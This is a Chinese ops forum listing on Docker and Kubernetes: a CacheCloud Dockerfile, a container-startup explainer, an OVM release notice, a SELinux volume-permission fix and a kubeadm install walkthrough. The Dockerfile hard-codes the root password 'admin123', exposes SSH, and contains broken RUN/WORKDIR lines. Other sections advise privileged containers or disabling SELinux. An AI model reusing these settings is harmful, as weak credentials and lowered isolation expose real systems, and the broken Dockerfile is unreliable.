虚拟化容器

虚拟化容器

Dockerfile—Cachecloud

运维技术Not see︶ 发表了文章 • 0 个评论 • 1652 次浏览 • 2017-07-10 22:50 • 来自相关话题

通过dockerfile快速部署cachecloud——redis集群管理
 FROM centos:6.6
COPY cachecloud.sql /opt
ADD jdk-7u79-linux-x64.tar.gz /usr/local/
ADD apache-maven-3.3.9-bin.tar.gz /usr/local/
ADD soft.tar.gz /opt
ADD cachecloud-web.tar.gz /opt
RUN cp /usr/share/zoneinfo/Asia/Shanghai /etc/localtime && \ echo "Asia/shanghai" >> /etc/timezone && \
yum install passwd openssl openssh-server openssh-clients -y && \
echo 'admin123' | passwd --stdin root && \
sed -i '/^session\s\+required\s\+pam_loginuid.so/s/^/#/' /etc/pam.d/sshd && \
WORKDIR /opt/soft/cachecloud
ENV JAVA_HOME /usr/local/jdk1.7.0_79
ENV JRE_HOME $JAVA_HOME/jre
ENV CLASSPATH .:$JAVA_HOME/lib:$JRE_HOME/lib
ENV PATH $PATH:$JAVA_HOME/bin
ENV MVN_HOME /usr/local/apache-maven-3.3.9
ENV JRE_mvn $MVN_HOME/jre
ENV PATH $PATH:$MVN_HOME/bin
#RUN yum install -y mysql-server mysql
#RUN /etc/init.d/mysqld start &&\
# mysql -e "grant all privileges on *.* to 'root'@'%' identified by '123456';"&&\
# mysql -e "grant all privileges on *.* to 'root'@'localhost' identified by '123456';"&&\
# mysql -uroot -p123456 -e "grant all privileges on *.* to 'admin'@'%' identified by 'admin';"&&\
# mysql -uroot -p123456 -e "grant all privileges on *.* to 'admin'@'localhost' identified by 'admin';"&&\
# mysql -uroot -p123456 -e "CREATE DATABASE cachecloud DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;"&&\
# mysql -uroot -p123456 cachecloud < /opt/cachecloud.sql

RUN mvn clean compile install -Ponline && \
cp /opt/soft/cachecloud/cachecloud-open-web/target/cachecloud-open-web-1.0-SNAPSHOT.war /opt/cachecloud-web && \
cp /opt/soft/cachecloud/cachecloud-open-web/src/main/resources/cachecloud-web.conf /opt/cachecloud-web && \
ln -s /opt/cachecloud-web/cachecloud-open-web-1.0-SNAPSHOT.war /etc/init.d/cachecloud-web

RUN rpm -ivh [url]http://dl.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm[/url] RUN yum install -y supervisor
RUN mkdir -p /var/log/supervisor
COPY supervisord.conf /etc/supervisord.conf
EXPOSE 22 8585 9999
CMD ["/usr/bin/supervisord"] 查看全部
通过dockerfile快速部署cachecloud——redis集群管理
 
FROM centos:6.6
COPY cachecloud.sql /opt
ADD jdk-7u79-linux-x64.tar.gz /usr/local/
ADD apache-maven-3.3.9-bin.tar.gz /usr/local/
ADD soft.tar.gz /opt
ADD cachecloud-web.tar.gz /opt
RUN cp /usr/share/zoneinfo/Asia/Shanghai /etc/localtime && \
    echo "Asia/shanghai" >> /etc/timezone && \
yum install passwd openssl openssh-server openssh-clients -y && \
echo 'admin123' | passwd --stdin root && \
sed -i '/^session\s\+required\s\+pam_loginuid.so/s/^/#/' /etc/pam.d/sshd && \
WORKDIR /opt/soft/cachecloud
ENV JAVA_HOME /usr/local/jdk1.7.0_79
ENV JRE_HOME $JAVA_HOME/jre
ENV CLASSPATH .:$JAVA_HOME/lib:$JRE_HOME/lib
ENV PATH $PATH:$JAVA_HOME/bin
ENV MVN_HOME /usr/local/apache-maven-3.3.9
ENV JRE_mvn $MVN_HOME/jre
ENV PATH $PATH:$MVN_HOME/bin
#RUN yum install -y mysql-server mysql
#RUN /etc/init.d/mysqld start &&\
# mysql -e "grant all privileges on *.* to 'root'@'%' identified by '123456';"&&\
# mysql -e "grant all privileges on *.* to 'root'@'localhost' identified by '123456';"&&\
# mysql -uroot -p123456 -e "grant all privileges on *.* to 'admin'@'%' identified by 'admin';"&&\
# mysql -uroot -p123456 -e "grant all privileges on *.* to 'admin'@'localhost' identified by 'admin';"&&\
# mysql -uroot -p123456 -e "CREATE DATABASE cachecloud DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;"&&\
# mysql -uroot -p123456 cachecloud < /opt/cachecloud.sql

RUN mvn clean compile install -Ponline && \
cp /opt/soft/cachecloud/cachecloud-open-web/target/cachecloud-open-web-1.0-SNAPSHOT.war /opt/cachecloud-web && \
cp /opt/soft/cachecloud/cachecloud-open-web/src/main/resources/cachecloud-web.conf /opt/cachecloud-web && \
ln -s /opt/cachecloud-web/cachecloud-open-web-1.0-SNAPSHOT.war /etc/init.d/cachecloud-web

RUN rpm -ivh [url]http://dl.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm[/url] RUN yum install -y supervisor
RUN mkdir -p /var/log/supervisor
COPY supervisord.conf /etc/supervisord.conf
EXPOSE 22 8585 9999
CMD ["/usr/bin/supervisord"]

Docker数据将根分区磁盘占满了

大数据/云计算push 回复了问题 • 2 人关注 • 1 个回复 • 2888 次浏览 • 2017-03-23 14:13 • 来自相关话题

为什么Docker使用-d参数后台运行容器退出了?

大数据/云计算空心菜 回复了问题 • 2 人关注 • 1 个回复 • 4227 次浏览 • 2017-03-09 20:35 • 来自相关话题

Docker容器启动过程

大数据/云计算Something 发表了文章 • 0 个评论 • 2142 次浏览 • 2017-03-09 15:02 • 来自相关话题

下面让我们看看一个Docker容器它启动过程中,背后到底做了什么?docker run -i -t ubuntu /bin/bash输入上面这行命令,启动一个ubuntu容器时,到底发生了什么?
 
大致过程可以用下图描述:




首先系统要有一个docker daemon的后台进程在运行,当刚才这行命令敲下时,发生了如下动作:
docker client(即:docker终端命令行)会调用docker daemon请求启动一个容器,docker daemon会向host os(即:linux)请求创建容器linux会创建一个空的容器(可以简单理解为:一个未安装操作系统的裸机,只有虚拟出来的CPU、内存等硬件资源)docker daemon请检查本机是否存在docker镜像文件(可以简单理解为操作系统安装光盘),如果有,则加载到容器中(即:光盘插入裸机,准备安装操作系统)将镜像文件加载到容器中(即:裸机上安装好了操作系统,不再是裸机状态)
 
最后,我们就得到了一个ubuntu的虚拟机,然后就可以进行各种操作了。
 
 
如果在第4步检查本机镜像文件时,发现文件不存在,则会到默认的docker镜像注册机构(即:docker hub网站)去联网下载,下载回来后,再进行装载到容器的动作,即下图所示:




另外官网有一张图也很形象的描述了这个过程:




原文地址:http://www.cnblogs.com/yjmyzz/p/docker-container-start-up-analysis.html 

参考文章:
https://www.gitbook.com/book/joshhu/docker_theory_install/details  
https://docs.docker.com/engine/introduction/understanding-docker/  查看全部
下面让我们看看一个Docker容器它启动过程中,背后到底做了什么?
docker run -i -t ubuntu /bin/bash
输入上面这行命令,启动一个ubuntu容器时,到底发生了什么?
 
大致过程可以用下图描述:
dockerflow.png

首先系统要有一个docker daemon的后台进程在运行,当刚才这行命令敲下时,发生了如下动作:
  1. docker client(即:docker终端命令行)会调用docker daemon请求启动一个容器,
  2. docker daemon会向host os(即:linux)请求创建容器
  3. linux会创建一个空的容器(可以简单理解为:一个未安装操作系统的裸机,只有虚拟出来的CPU、内存等硬件资源)
  4. docker daemon请检查本机是否存在docker镜像文件(可以简单理解为操作系统安装光盘),如果有,则加载到容器中(即:光盘插入裸机,准备安装操作系统)
  5. 将镜像文件加载到容器中(即:裸机上安装好了操作系统,不再是裸机状态)

 
最后,我们就得到了一个ubuntu的虚拟机,然后就可以进行各种操作了。
 
 
如果在第4步检查本机镜像文件时,发现文件不存在,则会到默认的docker镜像注册机构(即:docker hub网站)去联网下载,下载回来后,再进行装载到容器的动作,即下图所示:
dockerload.png

另外官网有一张图也很形象的描述了这个过程:
dockerfollow.png

原文地址:http://www.cnblogs.com/yjmyzz/p/docker-container-start-up-analysis.html 

参考文章:
https://www.gitbook.com/book/joshhu/docker_theory_install/details  
https://docs.docker.com/engine/introduction/understanding-docker/ 

在Docker容器中计划任务不能执行?

大数据/云计算空心菜 回复了问题 • 2 人关注 • 1 个回复 • 2374 次浏览 • 2017-02-24 13:25 • 来自相关话题

如何执行一个已经运行Docker容器内的脚本?

大数据/云计算空心菜 回复了问题 • 3 人关注 • 4 个回复 • 2459 次浏览 • 2017-03-09 20:17 • 来自相关话题

OVM-V1.5 版正式发布,新增对ESXI节点的支持

大数据/云计算maoliang 发表了文章 • 0 个评论 • 1382 次浏览 • 2017-02-21 17:13 • 来自相关话题

OVM-V1.5版本正式发布,此版本新增对Esxi节点的支持,目前OVM混合虚拟化平台已经能够统一管理KVM、ESXI、Docker三种类型的底层虚拟化技术。同时也提升了OVM的易用性,管理平台和计算节点 iso镜像合并到一个镜像里,安装方面同时新增u盘安装,提高工作效率。


OVM是国内首款、完全免费、企业级——混合虚拟化管理平台,是从中小企业目前的困境得到启发,完全基于国内企业特点开发,更多的关注国内中小企业用户的产品需求。


OVM-V1.5虚拟化管理平台功能变动清单:

 

Ø  新增对VMwareEsxi节点的支持


Ø  合并管理平台和计算节点镜像为一个iso


Ø  支持通过USB安装OVM


Ø  修复其他若干bug

 

详细信息


1、新增对VMwareEsxi节点的支持

 

OVM-V 1.5版本新增对Esxi节点的支持,支持将现有的VMwareEsxi计算节点直接添加到OVM虚拟化管理平台进行管理,并支持将原有Esxi虚拟机导入到平台进行统一管理。目前OVM混合虚拟化平台已经能够统一管理KVM、ESXI、Docker三种类型的底层虚拟化技术。

 

2.   管理平台和计算节点 iso镜像合并


OVM-V 1.5版本将管理平台和计算节点原来的两个iso镜像合并到一个iso镜像里面,在安装过程中提供选项来安装不同的服务,此次的合并不仅方便了大家的下载,也提升了OVM的易用性。



3.   支持通过USB方式安装,提高工作效率

OVM1.5版本镜像支持通过USB方式进行安装,极大提高了一线运维人员的工作效率。

 

获得帮助

下载请访问OVM社区官网:51ovm.com

使用过程中遇到什么问题及获得下载密码,加入OVM社区qq官方交流群:22265939

  查看全部
OVM-V1.5版本正式发布,此版本新增对Esxi节点的支持,目前OVM混合虚拟化平台已经能够统一管理KVM、ESXI、Docker三种类型的底层虚拟化技术。同时也提升了OVM的易用性,管理平台和计算节点 iso镜像合并到一个镜像里,安装方面同时新增u盘安装,提高工作效率。


OVM是国内首款、完全免费、企业级——混合虚拟化管理平台,是从中小企业目前的困境得到启发,完全基于国内企业特点开发,更多的关注国内中小企业用户的产品需求。


OVM-V1.5虚拟化管理平台功能变动清单:

 

Ø  新增对VMwareEsxi节点的支持


Ø  合并管理平台和计算节点镜像为一个iso


Ø  支持通过USB安装OVM


Ø  修复其他若干bug

 

详细信息


1、新增对VMwareEsxi节点的支持

 

OVM-V 1.5版本新增对Esxi节点的支持,支持将现有的VMwareEsxi计算节点直接添加到OVM虚拟化管理平台进行管理,并支持将原有Esxi虚拟机导入到平台进行统一管理。目前OVM混合虚拟化平台已经能够统一管理KVM、ESXI、Docker三种类型的底层虚拟化技术。

 

2.   管理平台和计算节点 iso镜像合并


OVM-V 1.5版本将管理平台和计算节点原来的两个iso镜像合并到一个iso镜像里面,在安装过程中提供选项来安装不同的服务,此次的合并不仅方便了大家的下载,也提升了OVM的易用性。



3.   支持通过USB方式安装,提高工作效率

OVM1.5版本镜像支持通过USB方式进行安装,极大提高了一线运维人员的工作效率。

 

获得帮助

下载请访问OVM社区官网:51ovm.com

使用过程中遇到什么问题及获得下载密码,加入OVM社区qq官方交流群:22265939

 

Docker挂载主机目录出现Permission denied状况分析

大数据/云计算空心菜 发表了文章 • 0 个评论 • 6482 次浏览 • 2017-02-16 23:10 • 来自相关话题

今天用脚本部署一个Docker私有化环境,挂载宿主机目录出现Permission denied的情况,导致服务启动失败,具体情况如下:








问题原因及解决办法:
原因是CentOS7中的安全模块selinux把权限禁掉了,至少有以下三种方式解决挂载的目录没有权限的问题:
1、在运行容器的时候,给容器加特权,及加上 --privileged=true 参数docker run -i -t -v /data/mysql/data:/data/var-3306 --privileged=true b0387b8279d4 /bin/bash -c "/opt/start_db.sh"2、临时关闭selinuxsetenforce 03、添加selinux规则,改变要挂载的目录的安全性文本:# 更改安全性文本的格式如下
chcon [-R] [-t type] [-u user] [-r role] 文件或者目录

选顷不参数:
-R :连同该目录下癿次目录也同时修改;
-t :后面接安全性本文的类型字段!例如 httpd_sys_content_t ;
-u :后面接身份识别,例如 system_u;
-r :后面街觇色,例如 system_r

[root@localhost Desktop]# chcon --help
Usage: chcon [OPTION]... CONTEXT FILE...
or: chcon [OPTION]... [-u USER] [-r ROLE] [-l RANGE] [-t TYPE] FILE...
or: chcon [OPTION]... --reference=RFILE FILE...
Change the SELinux security context of each FILE to CONTEXT.
With --reference, change the security context of each FILE to that of RFILE.

Mandatory arguments to long options are mandatory for short options too.
--dereference affect the referent of each symbolic link (this is
the default), rather than the symbolic link itself
-h, --no-dereference affect symbolic links instead of any referenced file
-u, --user=USER set user USER in the target security context
-r, --role=ROLE set role ROLE in the target security context
-t, --type=TYPE set type TYPE in the target security context
-l, --range=RANGE set range RANGE in the target security context
--no-preserve-root do not treat '/' specially (the default)
--preserve-root fail to operate recursively on '/'
--reference=RFILE use RFILE's security context rather than specifying
a CONTEXT value
-R, --recursive operate on files and directories recursively
-v, --verbose output a diagnostic for every file processed

The following options modify how a hierarchy is traversed when the -R
option is also specified. If more than one is specified, only the final
one takes effect.

-H if a command line argument is a symbolic link
to a directory, traverse it
-L traverse every symbolic link to a directory
encountered
-P do not traverse any symbolic links (default)

--help display this help and exit
--version output version information and exit

GNU coreutils online help: <http://www.gnu.org/software/coreutils/>
For complete documentation, run: info coreutils 'chcon invocation'在主机中修改/data/mysql/data目录的安全性文档[root@localhost Desktop]# chcon -Rt svirt_sandbox_file_t /data/mysql/data在docker中就可以正常访问该目录下的相关资源了。
卷权限参考:https://yq.aliyun.com/articles/53990  查看全部
Docker.jpeg

今天用脚本部署一个Docker私有化环境,挂载宿主机目录出现Permission denied的情况,导致服务启动失败,具体情况如下:
errorqx.png

cerror.png

问题原因及解决办法:
原因是CentOS7中的安全模块selinux把权限禁掉了,至少有以下三种方式解决挂载的目录没有权限的问题:
1、在运行容器的时候,给容器加特权,及加上 --privileged=true 参数
docker run -i -t -v /data/mysql/data:/data/var-3306 --privileged=true b0387b8279d4 /bin/bash -c "/opt/start_db.sh"
2、临时关闭selinux
setenforce 0
3、添加selinux规则,改变要挂载的目录的安全性文本:
# 更改安全性文本的格式如下
chcon [-R] [-t type] [-u user] [-r role] 文件或者目录

选顷不参数:
-R :连同该目录下癿次目录也同时修改;
-t :后面接安全性本文的类型字段!例如 httpd_sys_content_t ;
-u :后面接身份识别,例如 system_u;
-r :后面街觇色,例如 system_r

[root@localhost Desktop]# chcon --help
Usage: chcon [OPTION]... CONTEXT FILE...
or: chcon [OPTION]... [-u USER] [-r ROLE] [-l RANGE] [-t TYPE] FILE...
or: chcon [OPTION]... --reference=RFILE FILE...
Change the SELinux security context of each FILE to CONTEXT.
With --reference, change the security context of each FILE to that of RFILE.

Mandatory arguments to long options are mandatory for short options too.
--dereference affect the referent of each symbolic link (this is
the default), rather than the symbolic link itself
-h, --no-dereference affect symbolic links instead of any referenced file
-u, --user=USER set user USER in the target security context
-r, --role=ROLE set role ROLE in the target security context
-t, --type=TYPE set type TYPE in the target security context
-l, --range=RANGE set range RANGE in the target security context
--no-preserve-root do not treat '/' specially (the default)
--preserve-root fail to operate recursively on '/'
--reference=RFILE use RFILE's security context rather than specifying
a CONTEXT value
-R, --recursive operate on files and directories recursively
-v, --verbose output a diagnostic for every file processed

The following options modify how a hierarchy is traversed when the -R
option is also specified. If more than one is specified, only the final
one takes effect.

-H if a command line argument is a symbolic link
to a directory, traverse it
-L traverse every symbolic link to a directory
encountered
-P do not traverse any symbolic links (default)

--help display this help and exit
--version output version information and exit

GNU coreutils online help: <http://www.gnu.org/software/coreutils/>
For complete documentation, run: info coreutils 'chcon invocation'
在主机中修改/data/mysql/data目录的安全性文档
[root@localhost Desktop]# chcon -Rt svirt_sandbox_file_t /data/mysql/data
在docker中就可以正常访问该目录下的相关资源了。
卷权限参考:https://yq.aliyun.com/articles/53990 

使用Kubeadm安装Kubernetes1.5版本

大数据/云计算Not see︶ 发表了文章 • 2 个评论 • 9547 次浏览 • 2017-01-11 18:52 • 来自相关话题

1、下载说需要的包都得在墙外,需要翻墙。 但服务器上总不能提供这种便利。 比较麻烦。 两种办法,一种是绑定hosts  由于Kubernetes 编译的各种发行版安装包来源于 Github 上的另一个叫 release 的项目,把这个项目 clone 下来,  

可以参考漠然的文章: https://mritd.me/2016/10/29/set-up-kubernetes-cluster-by-kubeadm/
 
2、我是用的方法 是通过hosts绑定, 然后通过打包到源码,下次直接使用
使用Kubeadm安装Kubernetes1.5版本

1、系统版本:ubuntu16.04

root@master:~# docker version

Client:

Version: 1.12.1

API version: 1.24

Go version: go1.6.2

Git commit: 23cf638

Built: Tue, 27 Sep 2016 12:25:38 +1300

OS/Arch: linux/amd64



Server:

Version: 1.12.1

API version: 1.24

Go version: go1.6.2

Git commit: 23cf638

Built: Tue, 27 Sep 2016 12:25:38 +1300

OS/Arch: linux/amd64





1、部署前提条件

每台主机上面至少1G内存。

所有主机之间网络可达。



2、部署:

在主机上安装kubelet和kubeadm

curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | apt-key add -

主机master上操作如下:

cat <<EOF >/etc/apt/sources.list.d/kubernetes.list

deb http://apt.kubernetes.io/ kubernetes-xenial main

EOF

apt-get update

apt-get install -y docker.io

apt-get install -y kubelet kubeadm kubectl kubernetes-cni

下载后的kube组件并未自动运行起来。在 /lib/systemd/system下面我们能看到kubelet.service

root@master:~# ls /lib/systemd/system |grep kube

kubelet.service

kubelet的版本:

root@master:~# kubelet --version

Kubernetes v1.5.1

k8s的核心组件都有了,接下来我们就要boostrap kubernetes cluster了。

3、初始化集群

理论上通过kubeadm使用init和join命令即可建立一个集群,这init就是在master节点对集群进行初始化。和k8s 1.4之前的部署方式不同的是,

kubeadm安装的k8s核心组件都是以容器的形式运行于master node上的。因此在kubeadm init之前,最好给master node上的docker engine挂上加速器代理,

因为kubeadm要从gcr.io/google_containers repository中pull许多核心组件的images


在Kubeadm的文档中,Pod Network的安装是作为一个单独的步骤的。kubeadm init并没有为你选择一个默认的Pod network进行安装。

我们将首选Flannel 作为我们的Pod network,这不仅是因为我们的上一个集群用的就是flannel,而且表现稳定。

更是由于Flannel就是coreos为k8s打造的专属overlay network add-ons。甚至于flannel repository的readme.md都这样写着:“flannel is a network fabric for containers, designed for Kubernetes”。

如果我们要使用Flannel,那么在执行init时,按照kubeadm文档要求,我们必须给init命令带上option:–pod-network-cidr=10.244.0.0/16。


4、执行kubeadm init

执行kubeadm init命令:

root@master:~# kubeadm init --pod-network-cidr=10.244.0.0/16

[kubeadm] WARNING: kubeadm is in alpha, please do not use it for production clusters.

[preflight] Running pre-flight checks

[preflight] Starting the kubelet service

[init] Using Kubernetes version: v1.5.1

[tokens] Generated token: "2909ca.c0b0772a8817f9e3"

[certificates] Generated Certificate Authority key and certificate.

[certificates] Generated API Server key and certificate

[certificates] Generated Service Account signing keys

[certificates] Created keys and certificates in "/etc/kubernetes/pki"

[kubeconfig] Wrote KubeConfig file to disk: "/etc/kubernetes/kubelet.conf"

[kubeconfig] Wrote KubeConfig file to disk: "/etc/kubernetes/admin.conf"

[apiclient] Created API client, waiting for the control plane to become ready

[apiclient] All control plane components are healthy after 14.761716 seconds

[apiclient] Waiting for at least one node to register and become ready

[apiclient] First node is ready after 1.003312 seconds

[apiclient] Creating a test deployment

[apiclient] Test deployment succeeded

[token-discovery] Created the kube-discovery deployment, waiting for it to become ready

[token-discovery] kube-discovery is ready after 1.002402 seconds

[addons] Created essential addon: kube-proxy

[addons] Created essential addon: kube-dns



Your Kubernetes master has initialized successfully!



You should now deploy a pod network to the cluster.

Run "kubectl apply -f [podnetwork].yaml" with one of the options listed at:

http://kubernetes.io/docs/admin/addons/



You can now join any number of machines by running the following on each node:



kubeadm join --token=2909ca.c0b0772a8817f9e3 xxx.xxx.xxx.xxx (ip记下)



init成功后的master node有啥变化?k8s的核心组件均正常启动:

root@master:~# ps -ef |grep kube

root 23817 1 2 14:07 ? 00:00:35 /usr/bin/kubelet --kubeconfig=/etc/kubernetes/kubelet.conf --require-kubeconfig=true --pod-manifest-path=/etc/kubernetes/manifests --allow-privileged=true --network-plugin=cni --cni-conf-dir=/etc/cni/net.d --cni-bin-dir=/opt/cni/bin --cluster-dns=10.96.0.10 --cluster-domain=cluster.local

root 23921 23900 0 14:07 ? 00:00:01 kube-scheduler --address=127.0.0.1 --leader-elect --master=127.0.0.1:8080

root 24055 24036 0 14:07 ? 00:00:10 kube-apiserver --insecure-bind-address=127.0.0.1 --admission-control=NamespaceLifecycle,LimitRanger,ServiceAccount,PersistentVolumeLabel,DefaultStorageClass,ResourceQuota --service-cluster-ip-range=10.96.0.0/12 --service-account-key-file=/etc/kubernetes/pki/apiserver-key.pem --client-ca-file=/etc/kubernetes/pki/ca.pem --tls-cert-file=/etc/kubernetes/pki/apiserver.pem --tls-private-key-file=/etc/kubernetes/pki/apiserver-key.pem --token-auth-file=/etc/kubernetes/pki/tokens.csv --secure-port=6443 --allow-privileged --advertise-address=master的ip --kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname --anonymous-auth=false --etcd-servers=http://127.0.0.1:2379

root 24084 24070 0 14:07 ? 00:00:11 kube-controller-manager --address=127.0.0.1 --leader-elect --master=127.0.0.1:8080 --cluster-name=kubernetes --root-ca-file=/etc/kubernetes/pki/ca.pem --service-account-private-key-file=/etc/kubernetes/pki/apiserver-key.pem --cluster-signing-cert-file=/etc/kubernetes/pki/ca.pem --cluster-signing-key-file=/etc/kubernetes/pki/ca-key.pem --insecure-experimental-approve-all-kubelet-csrs-for-group=system:kubelet-bootstrap --allocate-node-cidrs=true --cluster-cidr=10.244.0.0/16

root 24242 24227 0 14:07 ? 00:00:00 /usr/local/bin/kube-discovery

root 24308 24293 1 14:07 ? 00:00:15 kube-proxy --kubeconfig=/run/kubeconfig

root 29457 29441 0 14:09 ? 00:00:00 /opt/bin/flanneld --ip-masq --kube-subnet-mgr

root 29498 29481 0 14:09 ? 00:00:00 /bin/sh -c set -e -x; cp -f /etc/kube-flannel/cni-conf.json /etc/cni/net.d/10-flannel.conf; while true; do sleep 3600; done

root 30372 30357 0 14:10 ? 00:00:01 /exechealthz --cmd=nslookup kubernetes.default.svc.cluster.local 127.0.0.1 >/dev/null --url=/healthz-dnsmasq --cmd=nslookup kubernetes.default.svc.cluster.local 127.0.0.1:10053 >/dev/null --url=/healthz-kubedns --port=8080 --quiet

root 30682 30667 0 14:10 ? 00:00:01 /kube-dns --domain=cluster.local --dns-port=10053 --config-map=kube-dns --v=2

root 48755 1796 0 14:31 pts/0 00:00:00 grep --color=auto kube



而且以多cotainer的形式启动

root@master:~# docker ps

CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES

c4209b1077d2 gcr.io/google_containers/kubedns-amd64:1.9 "/kube-dns --domain=c" 22 minutes ago Up 22 minutes k8s_kube-dns.61e5a20f_kube-dns-2924299975-txh1v_kube-system_f5364cd5-d631-11e6-9d86-0050569c3e9b_fc02f762

0908d6398b0b gcr.io/google_containers/exechealthz-amd64:1.2 "/exechealthz '--cmd=" 22 minutes ago Up 22 minutes k8s_healthz.9d343f54_kube-dns-2924299975-txh1v_kube-system_f5364cd5-d631-11e6-9d86-0050569c3e9b_0ee806f6

0e35e96ca4ac gcr.io/google_containers/dnsmasq-metrics-amd64:1.0 "/dnsmasq-metrics --v" 22 minutes ago Up 22 minutes k8s_dnsmasq-metrics.2bb05ef7_kube-dns-2924299975-txh1v_kube-system_f5364cd5-d631-11e6-9d86-0050569c3e9b_436b9370

3921b4e59aca gcr.io/google_containers/kube-dnsmasq-amd64:1.4 "/usr/sbin/dnsmasq --" 22 minutes ago Up 22 minutes k8s_dnsmasq.f7e18a01_kube-dns-2924299975-txh1v_kube-system_f5364cd5-d631-11e6-9d86-0050569c3e9b_06c5efa7

18513413ba60 gcr.io/google_containers/pause-amd64:3.0 "/pause" 22 minutes ago Up 22 minutes k8s_POD.d8dbe16c_kube-dns-2924299975-txh1v_kube-system_f5364cd5-d631-11e6-9d86-0050569c3e9b_9de0a18d

45132c8d6d3d quay.io/coreos/flannel-git:v0.6.1-28-g5dde68d-amd64 "/bin/sh -c 'set -e -" 23 minutes ago Up 23 minutes k8s_install-cni.fc218cef_kube-flannel-ds-0fnxc_kube-system_22034e49-d632-11e6-9d86-0050569c3e9b_88dffd75

4c2a2e46c808 quay.io/coreos/flannel-git:v0.6.1-28-g5dde68d-amd64 "/opt/bin/flanneld --" 23 minutes ago Up 23 minutes k8s_kube-flannel.5fdd90ba_kube-flannel-ds-0fnxc_kube-system_22034e49-d632-11e6-9d86-0050569c3e9b_2706c3cb

ad08c8dd177c gcr.io/google_containers/pause-amd64:3.0 "/pause" 23 minutes ago Up 23 minutes k8s_POD.d8dbe16c_kube-flannel-ds-0fnxc_kube-system_22034e49-d632-11e6-9d86-0050569c3e9b_279d8436

847f00759977 gcr.io/google_containers/kube-proxy-amd64:v1.5.1 "kube-proxy --kubecon" 24 minutes ago Up 24 minutes k8s_kube-proxy.2f62b4e5_kube-proxy-9c0bf_kube-system_f5326252-d631-11e6-9d86-0050569c3e9b_c1f31904

f8da0f38f3e1 gcr.io/google_containers/pause-amd64:3.0 "/pause" 24 minutes ago Up 24 minutes k8s_POD.d8dbe16c_kube-proxy-9c0bf_kube-system_f5326252-d631-11e6-9d86-0050569c3e9b_c340d947

c1efa29640d1 gcr.io/google_containers/kube-discovery-amd64:1.0 "/usr/local/bin/kube-" 24 minutes ago Up 24 minutes k8s_kube-discovery.6907cb07_kube-discovery-1769846148-4rsq9_kube-system_f49933be-d631-11e6-9d86-0050569c3e9b_c4827da2

4c6a646d0b2e gcr.io/google_containers/pause-amd64:3.0 "/pause" 24 minutes ago Up 24 minutes k8s_POD.d8dbe16c_kube-discovery-1769846148-4rsq9_kube-system_f49933be-d631-11e6-9d86-0050569c3e9b_8823b66a

ece79181f177 gcr.io/google_containers/pause-amd64:3.0 "/pause" 24 minutes ago Up 24 minutes k8s_dummy.702d1bd5_dummy-2088944543-r2mw3_kube-system_f38f3ede-d631-11e6-9d86-0050569c3e9b_ade728ba

9c3364c623df gcr.io/google_containers/pause-amd64:3.0 "/pause" 24 minutes ago Up 24 minutes k8s_POD.d8dbe16c_dummy-2088944543-r2mw3_kube-system_f38f3ede-d631-11e6-9d86-0050569c3e9b_838c58b5

a64a3363a82b gcr.io/google_containers/kube-controller-manager-amd64:v1.5.1 "kube-controller-mana" 25 minutes ago Up 25 minutes k8s_kube-controller-manager.84edb2e5_kube-controller-manager-master_kube-system_7b7c15f8228e3413d3b0d0bad799b1ea_697ef6ee

27625502c298 gcr.io/google_containers/kube-apiserver-amd64:v1.5.1 "kube-apiserver --ins" 25 minutes ago Up 25 minutes k8s_kube-apiserver.5942f3e3_kube-apiserver-master_kube-system_aeb59dd32f3217b366540250d2c35d8c_38a83844

5b2cc5cb9ac1 gcr.io/google_containers/pause-amd64:3.0 "/pause" 25 minutes ago Up 25 minutes k8s_POD.d8dbe16c_kube-controller-manager-master_kube-system_7b7c15f8228e3413d3b0d0bad799b1ea_2f88a796

e12ef7b3c1f0 gcr.io/google_containers/etcd-amd64:3.0.14-kubeadm "etcd --listen-client" 25 minutes ago Up 25 minutes k8s_etcd.c323986f_etcd-master_kube-system_3a26566bb004c61cd05382212e3f978f_ef6eb513

84a731cbce18 gcr.io/google_containers/pause-amd64:3.0 "/pause" 25 minutes ago Up 25 minutes k8s_POD.d8dbe16c_kube-apiserver-master_kube-system_aeb59dd32f3217b366540250d2c35d8c_a3a2ea4e

612b021457a1 gcr.io/google_containers/kube-scheduler-amd64:v1.5.1 "kube-scheduler --add" 25 minutes ago Up 25 minutes k8s_kube-scheduler.bb7d750_kube-scheduler-master_kube-system_0545c2e223307b5ab8c74b0ffed56ac7_a49fab86

ac0d8698f79f gcr.io/google_containers/pause-amd64:3.0 "/pause" 25 minutes ago Up 25 minutes k8s_POD.d8dbe16c_etcd-master_kube-system_3a26566bb004c61cd05382212e3f978f_9a6b7925

2a16a2217bf3 gcr.io/google_containers/pause-amd64:3.0 "/pause" 25 minutes ago Up 25 minutes k8s_POD.d8dbe16c_kube-scheduler-master_kube-system_0545c2e223307b5ab8c74b0ffed56ac7_d2b51317





kube-apiserver的IP是host ip,从而推断容器使用的是host网络,这从其对应的pause容器的network属性就可以看出:



root@master:~# docker ps |grep apiserver

27625502c298 gcr.io/google_containers/kube-apiserver-amd64:v1.5.1 "kube-apiserver --ins" 26 minutes ago Up 26 minutes k8s_kube-apiserver.5942f3e3_kubeapiserver-master_kube-system_aeb59dd32f3217b366540250d2c35d8c_38a83844

84a731cbce18 gcr.io/google_containers/pause-amd64:3.0 "/pause" 26 minutes ago Up 26 minutes k8s_POD.d8dbe16c_kube-apiserver-master_kube-system_aeb59dd32f3217b366540250d2c35d8c_a3a2ea4e



问题一、

如果kubeadm init执行过程中途出现了什么问题,比如前期忘记挂加速器导致init hang住,你可能会ctrl+c退出init执行。重新配置后,再执行kubeadm init,这时你可能会遇到下面kubeadm的输出:

# kubeadm init --pod-network-cidr=10.244.0.0/16

[kubeadm] WARNING: kubeadm is in alpha, please do not use it for production clusters.

[preflight] Running pre-flight checks

[preflight] Some fatal errors occurred:

Port 10250 is in use

/etc/kubernetes/manifests is not empty

/etc/kubernetes/pki is not empty

/var/lib/kubelet is not empty

/etc/kubernetes/admin.conf already exists

/etc/kubernetes/kubelet.conf already exists

[preflight] If you know what you are doing, you can skip pre-flight checks with `--skip-preflight-checks`



kubeadm会自动检查当前环境是否有上次命令执行的“残留”。如果有,必须清理后再行执行init。我们可以通过”kubeadm reset”来清理环境,以备重来。



# kubeadm reset

[preflight] Running pre-flight checks

[reset] Draining node: "iz25beglnhtz"

